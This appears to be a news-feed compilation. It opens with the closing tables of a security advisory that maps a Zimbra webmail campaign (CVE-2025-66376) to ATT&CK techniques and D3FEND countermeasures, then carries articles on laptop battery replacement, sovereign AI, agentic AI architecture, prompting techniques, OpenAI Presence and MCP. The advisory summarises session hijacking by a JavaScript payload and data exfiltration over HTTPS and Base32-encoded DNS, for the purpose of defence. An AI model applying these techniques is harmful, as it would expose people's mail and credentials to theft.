Data Staged: Remote Data Staging	T1074.002	Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions.
Email Collection	T1114	This group has emphasized collection of emails.
Email Collection: Remote Email Collection	T1114.002	Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device.
Automated Collection	T1119	Upon execution, the JavaScript payload automatically collects all relevant information in stages.
Browser Session Hijacking	T1185	The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user.
Archive Collected Data	T1560	Emails are exfiltrated with GZIP compression.

**Table 18: Discovery**
Technique Title	ID	Use
Account Discovery	T1087	Stolen Global Access Lists provide the group with new users to target.

**Table 19: Exfiltration**
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Victim information was exfiltrated over both HTTPS and DNS.
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	T1048.003	Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding.

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

**Table 20: MITRE D3FEND Countermeasures**
Countermeasure Title	ID	Description
Application Hardening	D3-AH	Organizations should immediately prioritize patching CVE-2025-66376. Organizations should promptly apply software updates to all email systems.
Isolate	d3f:Isolate	Organizations that cannot feasibly patch should use alternative mail clients.
Credential Hardening	D3-CH	Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys.
Network Traffic Analysis	D3-NTA	Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization.
DNS Traffic Analysis	D3-DNSTA	Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains.
Network Traffic Community Deviation	D3-NTCD	Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. Organizations should monitor for connections to internal services, such as webmail, from VPN providers.
Identifier Activity Analysis	D3-IAA	Organizations should search for the listed known IOCs.
Process Analysis	D3-PA	Organizations should search ZCS log files for specific commands used by the malicious script. Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes.
Message Analysis	D3-MA	Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

Akku im Sinkflug – wann lohnt der Tausch, wann muss ein neues Notebook her?

Sat, 25 Jul 2026 18:59:24 +0200

ParinPix / Shutterstock.com

Die Steckdose wird zum ständigen Begleiter, das Ladekabel zum wichtigsten Accessoire im Rucksack: Wenn der Notebook-Akku nachlässt, wächst unweigerlich der Frust im Alltag. Die schlechte Nachricht: Der chemische Alterungsprozess von Lithium-Ionen-Zellen ist unvermeidbar. Doch ein schwacher Akku bedeutet noch nicht zwingend, dass ein älterer Laptop in den Elektroschrott gehört. Oft lässt sich der Stromspeicher problemlos austauschen und die Reparatur ist wirtschaftlich sinnvoll. Aber nicht in jedem Fall. Wir zeigen, wie Sie sich an Fakten statt am Bauchgefühl orientieren und wann es Zeit wird, sich nach neuer Hardware umzusehen.

Diagnose: Fakten statt Bauchgefühl

Foundry

Bevor Sie Schraubenzieher zücken oder neue Hardware kaufen, muss geklärt werden: Ist Ihr Akku wirklich verschlissen, oder saugt ressourcenfressende Software im Hintergrund heimlich den Stromspeicher leer? Die Frage ist schnell beantwortet, denn sowohl Windows als auch macOS bieten tiefgreifende Diagnose-Tools, die sich mit wenigen

Unter Windows: Öffnen Sie die Windows-Eingabeaufforderung (CMD) oder PowerShell als Administrator und tippen Sie den Befehl

powercfg /batteryreport

ein. Windows generiert daraufhin eine detaillierte HTML-Datei, die tief ins System blicken lässt. Öffnen Sie die Datei unter dem angegebenen Pfad – z.B. „C:\battery-report.html“. Entscheidend sind hier zwei Werte: die Design Capacity (die ursprüngliche Nennkapazität Ihres Akkus ab Werk) und die Full Charge Capacity (die aktuell noch erreichbare Maximalkapazität). Liegt die aktuelle Kapazität unter 80 Prozent des Ursprungswertes, gilt ein Akku allgemein als verschlissen. Spätestens wenn er die 70-Prozent-Marke unterschreitet, wird der Kapazitätsverlust im Alltag oft zu einer spürbaren Einschränkung – das Bauteil ist Ende seines Lebenszyklus angekommen.

Bei macOS: Auf einem MacBook führt der Weg über das Apfel-Menü zu Systemeinstellungen → Allgemein → Info → Systembericht. Unter dem Reiter „Stromversorgung“ finden Sie die Anzahl der Ladezyklen sowie den Zustand. Apple garantiert in der Regel, dass ein Akku nach 1.000 vollständigen Ladezyklen noch mindestens 80 Prozent seiner ursprünglichen Kapazität halten kann. Fällt der Wert darunter, rät das System oft von selbst zum Service.

Schrauben oder schrauben lassen?

Auf iFixit finden Verbraucher Reparaturanleitungen, Ersatzteile und Werkzeug für zahlreiche Notebooks, Smartphones und andere Elektronikgeräte.

Foundry

Steht der Defekt fest oder ist die Alterung bereits weit fortgeschritten, folgt oft eine logistische Herausforderung. Die Hardware-Realität von 2026 ist Verbrauchern nämlich nicht gerade entgegengekommen – zumindest beim Akku: In vielen modernen Ultrabooks, Surface-Geräten oder MacBooks sind die Akkuzellen großflächig im Gehäuse verklebt. Das macht den Tausch für Laien gefährlich, weil bei einer Beschädigung der Zellen akute Brandgefahr besteht.

Der Gang zur Fachwerkstatt ist deshalb oft alternativlos – achten Sie hierbei am besten auf zertifizierte Betriebe, die eine Garantie auf das Ersatzteil gewähren. Anders sieht es bei reparaturfreundlichen Business-Geräten wie dem Lenovo ThinkPad T14 Gen 5 oder Vorreitern der Modularität wie dem Framework Laptop 16 aus: Hier brauchen Sie oft nur einen passenden Schraubendreher und zehn Minuten Zeit, um den Akku selbst zu tauschen. Wie Sie Ihren Akku am Laptop oder am Smartphone selbst tauschen können, erklären wir in diesem Ratgeber.

Achtung beim Teilekauf: Sparen Sie nicht am falschen Ende. Extrem billige Nachbau-Akkus von No-Name-Händlern auf großen Marktplätzen bergen nicht nur ein Brandrisiko, sondern schummeln oft auch bei der echten Kapazität. Greifen Sie unbedingt zu Originalteilen des Herstellers oder zu zertifizierten Ersatzteilen etablierter Drittanbieter (wie iFixit).

Wenn die Diagnose zeigt, dass Ihr Akku physisch noch fit ist, dann liegt das Problem vermutlich an Software mit Selbstbedienungsmentalität. Praktisch: Windows und macOS verfügen über integrierte Stromfresser-Finder. Unter Windows navigieren Sie zu Einstellungen → Strom und Akku → Akkunutzung. Dort listet Windows genau auf, welche Apps in den letzten Tagen am meisten Energie verbraucht haben. Auf dem Mac erfüllt die App Aktivitätsanzeige (Reiter Energie) denselben Zweck. Stoßen Sie hier auf Programme, die Sie gar nicht aktiv nutzen, sollten Sie deren Hintergrundaktivität einschränken oder die Software komplett deinstallieren.

💡 Infobox: Das neue Recht auf Reparatur (Stand 2026)

Das Recht auf Reparatur stammt von der Europäischen Kommission und dem EU-Parlament. Ziel des Gesetzespakets ist es, die wachsenden Berge von Elektroschrott auf dem Kontinent zu reduzieren und die Kreislaufwirtschaft zu stärken. Nach der Verabschiedung der EU-Richtlinie im Jahr 2024 hatten die Mitgliedsstaaten bis 2026 Zeit, die Vorgaben in nationales Recht umzusetzen – nun greifen die Regeln schrittweise und wirken sich zunehmend auf den Reparaturalltag aus.

Was Verbraucher davon haben:

Reparaturpflicht: Hersteller sind nun gesetzlich verpflichtet, für gängige Elektronikgeräte (wie Smartphones und Laptops) Reparaturen anzubieten – und das auch nach Ablauf der gesetzlichen Gewährleistung.
Zugang zu Ersatzteilen: Unabhängige Fachwerkstätten und ambitionierte Bastler erhalten leichteren Zugang zu Original-Ersatzteilen und offiziellen Reparaturanleitungen.
Weniger Software-Sperren: Praktiken wie das sogenannte “Parts Pairing” (bei dem Ersatzteile per Software blockiert werden, wenn sie nicht von einer offiziellen Vertragswerkstatt eingebaut wurden) werden stark eingeschränkt.
Mehr Wirtschaftlichkeit: Durch den faireren Wettbewerb sinken die Reparaturkosten, was den Tausch eines Akkus oft attraktiver macht als einen teuren Neukauf.

Wann lohnt sich der Tausch?

Um zu beurteilen, ob sich die Investition für den Austausch lohnt, hilft die bewährte 50-Prozent-Regel: Übersteigen die Kosten für die Reparatur (Ersatz-Akku plus eventuelle Arbeitszeit der Werkstatt) mehr als die Hälfte des aktuellen Restwerts des Notebooks, wird die Angelegenheit unwirtschaftlich.

Ein Rechenbeispiel: Ein vier Jahre altes Premium-Notebook, das früher mal 1.500 Euro gekostet hat, bringt auf dem Gebrauchtmarkt vielleicht noch 400 bis 500 Euro. Eine Investition von 120 Euro für einen fachgerechten Akkutausch ist dann noch durchaus sinnvoll und kann dem Gerät weitere zwei bis drei Lebensjahre verschaffen. Bei einem ohnehin leistungsschwachen 400-Euro-Plastikbomber aus dem Jahr 2021 ist eine 100-Euro-Reparatur jedoch (jenseits von Nostalgiegründen) kaum zu vertreten und gilt als unwirtschaftlich.

Wann ein Neukauf wirklich sinnvoll ist

Mal ehrlich: Der Akku ist oft nur das offensichtlichste Symptom eines veralteten Systems. Wer über eine Reparatur nachdenkt, sollte objektiv prüfen, ob die restliche Hardware den heutigen Anforderungen noch gewachsen ist – oder ob man mit einem neuen Laptop besser fährt:

Windows 10 Support-Ende: Das offizielle Support-Ende von Windows 10 (Oktober 2025) liegt bereits hinter uns. Privatanwender in der EU haben zwar Glück im Unglück: Wer mit einem Microsoft-Konto angemeldet ist, erhält die Extended Security Updates (ESU) im ersten Jahr bis Oktober 2027 kostenlos. Doch spätestens im Herbst 2027 ist endgültig Schicht im Schacht. Geräte, deren Prozessoren nicht offiziell für Windows 11 zertifiziert sind (ältere CPUs vor der Intel Core 8. Generation oder AMD Ryzen 2000er-Serie), stoßen dann an ihre praktische Lebensdauergrenze. Ohne den auslaufenden ESU-Schutz sollten Sie ab diesem Zeitpunkt bei betroffenen Windows-Geräten nicht mehr in einen neuen Akku investieren.
Speicher-Flaschenhälse: Verlöteter, nicht aufrüstbarer Arbeitsspeicher von 8 GB stößt selbst bei ausschließlicher Browser-Nutzung und Office-Anwendungen oft an seine Grenzen.
Träge Performance: Wenn das Notebook nicht nur schnell leer ist, sondern beim Öffnen von Programmen ins Schwitzen kommt und der Lüfter permanent auf Hochtouren läuft, bringt auch der stärkste neue Akku kein flüssiges Arbeitsgefühl zurück.

Zeit für einen neuen Laptop?

Wenn kein (sinnvoller) Weg mehr am Neukauf vorbeiführt, ist das nicht immer eine schlechte Nachricht: Moderne Geräte punkten nicht nur mit deutlich mehr Ausdauer jenseits der Steckdose – sie bringen auch spürbar mehr Tempo und Sicherheit, effizientere Hardware und oft angenehm leise Kühlung in Ihren Alltag.

Fazit und Checkliste: Akku tauschen oder Neukauf?

Die Entscheidung zwischen Werkstatt und Neuanschaffung ist am Ende des Tages ein Abwägen von Kosten, Nutzen und Sicherheit. Die folgende Checkliste hilft dabei, das Schicksal Ihres Notebooks zu klären:

Der Tausch lohnt sich, wenn:

der Laptop noch alle Leistungsanforderungen im Alltag erfüllt.
Windows 11 offiziell unterstützt wird (oder macOS/Linux aktuell ist).
die Gesamtreparatur weniger als 50 % des Restwerts kostet.
das Gehäuse unbeschädigt ist und Scharniere sowie Tastatur noch zuverlässig funktionieren.

Ein Neukauf ist besser, wenn:

das Betriebssystem (z. B. Windows 10) keine Sicherheitsupdates mehr erhält.
das Gerät durch 8 GB RAM oder eine alte CPU ohnehin ein Flaschenhals im Alltag ist.
Displayschäden oder defekte Ports weitere, teure Reparaturen erfordern.
die Reparatur den Zeitwert des Geräts deutlich übersteigt.

(PC-Welt)

Sovereign AI has become the public-sector CIO’s control problem

Sat, 25 Jul 2026 18:57:42 +0200

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
Model control: Which models clear which workloads, and under what validation.
Infrastructure control: Whether critical workloads run in approved environments.
Operational control: Whether AI-assisted actions are logged, monitored and reversible.
Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is. Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

Can we classify AI workloads by public-service risk?
Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
Can we restrict which models are approved for which data classes and functions?
Can we reconstruct an AI-assisted action in enough detail to explain it?
Can we change providers without losing continuity or institutional knowledge?
Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

This article is published as part of the Foundry Expert Contributor Network.
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Smaller, smarter, safer: How to build agentic AI on the right foundation

Sat, 25 Jul 2026 18:55:52 +0200

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
Smarter: The system around the model decides more than the model does.
Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

Stop asking AI nicely: Here’s how to get work-ready results every time

Sat, 25 Jul 2026 18:55:51 +0200

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
Security guardrails: Always include instructions against prompt injections and respect data boundaries.
When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
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OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 18:55:50 +0200

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Workforce impact

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

Model Context Protocol is going stateless to make scaling simpler

Sat, 25 Jul 2026 18:55:48 +0200

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

